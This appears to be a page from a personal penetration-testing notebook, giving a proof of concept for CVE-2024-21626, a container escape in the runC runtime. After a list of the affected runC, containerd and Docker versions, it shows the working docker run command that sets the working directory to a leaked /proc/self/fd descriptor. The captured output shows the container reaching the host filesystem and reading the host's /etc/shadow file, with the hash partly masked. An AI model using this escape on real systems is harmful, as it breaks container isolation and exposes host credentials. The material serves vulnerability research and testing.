0xPThree.gitbook.io
  • Network Services
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 23 - Telnet
      • 25, 465, 587 - SMTP(S)
      • 53 - DNS
      • 80, 443 - HTTP(S)
        • Frameworks
          • Drupal
          • Flask
          • Laravel
          • Tomcat
          • Werkzeug
        • Fuzzing
        • Grafana
        • Languages
          • PHP
        • WebDAV
        • Web Vulnerabilities
          • CloudFlare Bypass
          • Command Injection
          • CSTI
          • File Inclusion/Path Traversal
          • SQL Injection
          • SSI
          • SSTI
          • Upload bypass
          • XLST
          • XML Injection
      • 88 - Kerberos
      • 135, 593 - MSRPC
      • 139, 445 - SMB
      • 161, 162, 10161, 10162 - SNMP
      • 1433, 3306 - SQL
      • 2049 - NFS
      • 2375 - Docker
  • Active Directory
    • ADCS
    • DACL Abuse
      • AddMember
      • ForceChangePassword
      • Kerberoasting
      • ReadLAPSPassword
      • ReadGMSAPassword
      • Grant Ownership
      • Grant Rights
      • Logon Script
      • Rights on RODC object
    • Security groups
    • Misc
  • Coding Languages
    • Python
  • Exploits / PoC's
    • Ansible
      • Ansible AWX
    • Apache
      • HTTP Server - CVE-2021-41773
      • Struts - CVE-2024-53677 / S2-067
      • Tomcat - CVE-2020-1938 / CVE-2020-10487
      • Tomcat - CVE-2025-24813
    • Confluence - CVE-2023-22527
    • CUPS - CVE-2024-47***
    • D-Link
      • CVE-2020-29322
      • Decrypt firmware: DIR-X1560
    • Dmidecode - CVE-2023-30630
    • Erlang
      • OTP SSH - CVE-2025-32433
    • EternalBlue - MS17-010
    • Gitlab - CVE-2023-7028
    • Ivanti - CVE-2024-21893 / 21887
    • Jenkins - CVE-2024-23897
    • LXD group - N/A
    • nf_tables - CVE-2024-1086
    • NFS - N/A
    • Oracle
      • WebLogic - CVE-2018-2628
      • WebLogic - CVE-2019-2729
      • WebLogic - CVE-2023-21839
      • WebLogic - CVE-2024-20931
      • WebLogic - CVE-2024-21006
    • PHP
      • CVE-2024-4577
    • RunC
      • CVE-2022-0811
      • CVE-2024-21626
    • Snap - CVE-2019-7304
    • TP-Link - CVE-2024-5035
  • Hardware
    • Firmware
    • JTAG
    • SPI
    • UART
    • USB
  • Post Exploit
    • Compile payload
    • Obfuscation
    • Read VMDK files
    • Saved Credentials
      • Linux - Ansible AWX / Tower
      • Linux - Dell Networker
      • Windows - Mozilla Firefox
      • Windows - Notepad++
      • Windows - WinSCP
    • Session Hijack
    • Sniffing Passwords
    • Upgrade shell
    • VMware
      • Disk Encryption
      • LDAP Connection (SSO)
      • Restore VCSA Postgres Database
      • vCenter Forge SAML
      • Waiter Account Information
  • Development
    • Dnsmasq DHCP
    • Docker
      • Ansible AWX
      • Docker Compose
      • FirmAE - Emulate Firmware
      • Oracle WebLogic
      • Rocket.Chat
      • Tomcat
      • Vaultwarden
    • Harden Windows Host
    • HTTPS Proxy
    • Netplan + Networkd
    • SSL/TLS Certificates
  • TODO
Powered by GitBook
On this page

Was this helpful?

  1. Exploits / PoC's
  2. RunC

CVE-2024-21626

RunC, a container runtime component, published version 1.1.12 to fix CVE-2024-21626 at 31, Jan 2024, which leads to escaping from containers.

Affected versions.. .. runC v1.0.0-rc93 - 1.1.11. .. containerd 1.4.7 - 1.6.27 and 1.7.0 - 1.7.12. .. Docker <=25.0.1.

POC

  • Make sure the user is in the docker group, and RunC running a vulnerable version.

  • Start a new container and set the working directory to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it’s 7 or 8).

cve-2024-21626 ➜ id
uid=1000(user) ... snip ...,998(docker)

cve-2024-21626 ➜ runc --version
runc version 1.1.5+ds1
commit: 1.1.5+ds1-1+b4
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

cve-2024-21626 ➜ id docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
... snip ...
root@7185badc969c:.# pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@7185badc969c:.# ls -al
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@7185badc969c:.# cd ../../
root@7185badc969c:../..# ls -al
total 88
drwxr-xr-x  19 root root  4096 Oct 31 11:20 .
drwxr-xr-x  19 root root  4096 Oct 31 11:20 ..
drwx------   2 root root  4096 Oct 31 10:17 .cache
lrwxrwxrwx   1 root root     7 Oct 31 09:44 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Oct 31 11:24 boot
drwxr-xr-x  17 root root  3420 Feb  8 07:46 dev
drwxr-xr-x 199 root root 12288 Jan 26 11:22 etc
drwxr-xr-x   3 root root  4096 Oct 31 10:58 home
lrwxrwxrwx   1 root root    33 Oct 31 11:20 initrd.img -> boot/initrd.img-6.5.0-kali3-amd64
lrwxrwxrwx   1 root root    33 Oct 31 09:46 initrd.img.old -> boot/initrd.img-6.3.0-kali1-amd64
lrwxrwxrwx   1 root root     7 Oct 31 09:44 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Oct 31 09:44 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Oct 31 09:44 lib64 -> usr/lib64
drwx------   2 root root 16384 Oct 31 09:44 lost+found
drwxr-xr-x   3 root root  4096 Oct 31 09:44 media
drwxr-xr-x   3 root root  4096 Nov  8 13:45 mnt
drwxr-xr-x   3 root root  4096 Oct 31 10:11 opt
dr-xr-xr-x 227 root root     0 Feb  8 07:46 proc
drwx------   7 root root  4096 Feb  7 11:07 root
drwxr-xr-x  37 root root   980 Feb  8 07:46 run
lrwxrwxrwx   1 root root     8 Oct 31 09:44 sbin -> usr/sbin
drwxr-xr-x   3 root root  4096 Oct 31 10:17 srv
dr-xr-xr-x  13 root root     0 Feb  8 07:46 sys
drwxrwxrwt  14 root root 12288 Feb  8 10:55 tmp
drwxr-xr-x  15 root root  4096 Oct 31 11:14 usr
drwxr-xr-x  12 root root  4096 Oct 31 11:31 var
lrwxrwxrwx   1 root root    30 Oct 31 11:20 vmlinuz -> boot/vmlinuz-6.5.0-kali3-amd64
lrwxrwxrwx   1 root root    30 Oct 31 09:46 vmlinuz.old -> boot/vmlinuz-6.3.0-kali1-amd64

root@7185badc969c:../../..# cat etc/shadow
user:$y$ZZZ$XXXX:19661:0:99999:7:::

Last updated 10 months ago

Was this helpful?

More in-depth information here:

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd